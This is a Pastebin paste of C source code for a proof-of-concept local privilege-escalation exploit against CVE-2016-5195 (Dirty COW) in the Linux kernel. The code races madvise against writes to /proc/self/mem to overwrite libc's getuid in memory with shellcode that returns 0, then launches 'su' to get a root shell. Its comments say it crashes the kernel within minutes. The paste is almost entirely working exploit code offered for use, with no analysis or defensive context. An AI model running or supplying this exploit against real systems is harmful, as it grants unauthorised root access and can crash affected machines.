Guest User

Untitled

a guest
Oct 27th, 2016
256
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * CVE-2016-5195 dirtypoc
  3. *
  4. * This PoC is memory only and doesn't write anything on the filesystem.
  5. * /!\ Beware, it triggers a kernel crash a few minutes.
  6. *
  7. * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
  8. */
  9.  
  10. #define _GNU_SOURCE
  11. #include <err.h>
  12. #include <dlfcn.h>
  13. #include <stdio.h>
  14. #include <fcntl.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <unistd.h>
  18. #include <limits.h>
  19. #include <pthread.h>
  20. #include <stdbool.h>
  21. #include <sys/mman.h>
  22. #include <sys/stat.h>
  23. #include <sys/user.h>
  24. #include <sys/wait.h>
  25. #include <sys/types.h>
  26.  
  27.  
  28. #define SHELLCODE "\x31\xc0\xc3"
  29. #define SPACE_SIZE 256
  30. #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
  31. #define LOOP 0x1000000
  32.  
  33. #ifndef PAGE_SIZE
  34. #define PAGE_SIZE 4096
  35. #endif
  36.  
  37. struct mem_arg {
  38. struct stat st;
  39. off_t offset;
  40. unsigned long patch_addr;
  41. unsigned char *patch;
  42. unsigned char *unpatch;
  43. size_t patch_size;
  44. bool do_patch;
  45. void *map;
  46. };
  47.  
  48.  
  49. static int check(bool do_patch, const char *thread_name)
  50. {
  51. uid_t uid;
  52.  
  53. uid = getuid();
  54.  
  55. if (do_patch) {
  56. if (uid == 0) {
  57. printf("[*] patched (%s)\n", thread_name);
  58. return 1;
  59. }
  60. } else {
  61. if (uid != 0) {
  62. printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
  63. return 1;
  64. }
  65. }
  66.  
  67. return 0;
  68. }
  69.  
  70.  
  71. static void *madviseThread(void *arg)
  72. {
  73. struct mem_arg *mem_arg;
  74. size_t size;
  75. void *addr;
  76. int i, c = 0;
  77.  
  78. mem_arg = (struct mem_arg *)arg;
  79. addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
  80. size = mem_arg->offset - (unsigned long)addr;
  81.  
  82. for(i = 0; i < LOOP; i++) {
  83. c += madvise(addr, size, MADV_DONTNEED);
  84.  
  85. if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
  86. break;
  87. }
  88.  
  89. if (c == 0x1337)
  90. printf("[*] madvise = %d\n", c);
  91.  
  92. return NULL;
  93. }
  94.  
  95. static void *procselfmemThread(void *arg)
  96. {
  97. struct mem_arg *mem_arg;
  98. int fd, i, c = 0;
  99. unsigned char *p;
  100.  
  101. mem_arg = (struct mem_arg *)arg;
  102. p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
  103.  
  104. fd = open("/proc/self/mem", O_RDWR);
  105. if (fd == -1)
  106. err(1, "open(\"/proc/self/mem\"");
  107.  
  108. for (i = 0; i < LOOP; i++) {
  109. lseek(fd, mem_arg->offset, SEEK_SET);
  110. c += write(fd, p, mem_arg->patch_size);
  111.  
  112. if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
  113. break;
  114. }
  115.  
  116. if (c == 0x1337)
  117. printf("[*] /proc/self/mem %d\n", c);
  118.  
  119. close(fd);
  120.  
  121. return NULL;
  122. }
  123.  
  124. static int get_range(unsigned long *start, unsigned long *end)
  125. {
  126. char line[4096];
  127. char filename[PATH_MAX];
  128. char flags[32];
  129. FILE *fp;
  130. int ret;
  131.  
  132. ret = -1;
  133.  
  134. fp = fopen("/proc/self/maps", "r");
  135. if (fp == NULL)
  136. err(1, "fopen(\"/proc/self/maps\")");
  137.  
  138. while (fgets(line, sizeof(line), fp) != NULL) {
  139. sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
  140.  
  141. if (strstr(flags, "r-xp") == NULL)
  142. continue;
  143.  
  144. if (strstr(filename, "/libc-") == NULL)
  145. continue;
  146. //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
  147. ret = 0;
  148. break;
  149. }
  150.  
  151. fclose(fp);
  152.  
  153. return ret;
  154. }
  155.  
  156. static void getroot(void)
  157. {
  158. execlp("su", "su", NULL);
  159. err(1, "failed to execute \"su\"");
  160. }
  161.  
  162. static void exploit(struct mem_arg *mem_arg, bool do_patch)
  163. {
  164. pthread_t pth1, pth2;
  165.  
  166. printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
  167.  
  168. mem_arg->do_patch = do_patch;
  169.  
  170. pthread_create(&pth1, NULL, madviseThread, mem_arg);
  171. pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
  172.  
  173. pthread_join(pth1, NULL);
  174. pthread_join(pth2, NULL);
  175. }
  176.  
  177. static unsigned long get_getuid_addr(void)
  178. {
  179. unsigned long addr;
  180. void *handle;
  181. char *error;
  182.  
  183. dlerror();
  184.  
  185. handle = dlopen("libc.so.6", RTLD_LAZY);
  186. if (handle == NULL) {
  187. fprintf(stderr, "%s\n", dlerror());
  188. exit(EXIT_FAILURE);
  189. }
  190.  
  191. addr = (unsigned long)dlsym(handle, "getuid");
  192. error = dlerror();
  193. if (error != NULL) {
  194. fprintf(stderr, "%s\n", error);
  195. exit(EXIT_FAILURE);
  196. }
  197.  
  198. dlclose(handle);
  199.  
  200. return addr;
  201. }
  202.  
  203. int main(int argc, char *argv[])
  204. {
  205. unsigned long start, end;
  206. unsigned long getuid_addr;
  207. struct mem_arg mem_arg;
  208. struct stat st;
  209. pid_t pid;
  210. int fd;
  211.  
  212. if (get_range(&start, &end) != 0)
  213. errx(1, "failed to get range");
  214.  
  215. printf("[*] range: %lx-%lx]\n", start, end);
  216.  
  217. getuid_addr = get_getuid_addr();
  218. printf("[*] getuid = %lx\n", getuid_addr);
  219.  
  220. mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
  221. if (mem_arg.patch == NULL)
  222. err(1, "malloc");
  223.  
  224. mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
  225. if (mem_arg.unpatch == NULL)
  226. err(1, "malloc");
  227.  
  228. memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
  229. memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
  230. mem_arg.patch_size = sizeof(SHELLCODE)-1;
  231. mem_arg.do_patch = true;
  232.  
  233. fd = open(LIBC_PATH, O_RDONLY);
  234. if (fd == -1)
  235. err(1, "open(\"" LIBC_PATH "\")");
  236. if (fstat(fd, &st) == -1)
  237. err(1, "fstat");
  238.  
  239. mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  240. if (mem_arg.map == MAP_FAILED)
  241. err(1, "mmap");
  242. close(fd);
  243.  
  244. printf("[*] mmap %p\n", mem_arg.map);
  245.  
  246. mem_arg.st = st;
  247. mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
  248.  
  249. exploit(&mem_arg, true);
  250.  
  251. pid = fork();
  252. if (pid == -1)
  253. err(1, "fork");
  254.  
  255. if (pid == 0) {
  256. getroot();
  257. } else {
  258. sleep(2);
  259. exploit(&mem_arg, false);
  260. if (waitpid(pid, NULL, 0) == -1)
  261. warn("waitpid");
  262. }
  263.  
  264. return 0;
  265. }
RAW Paste Data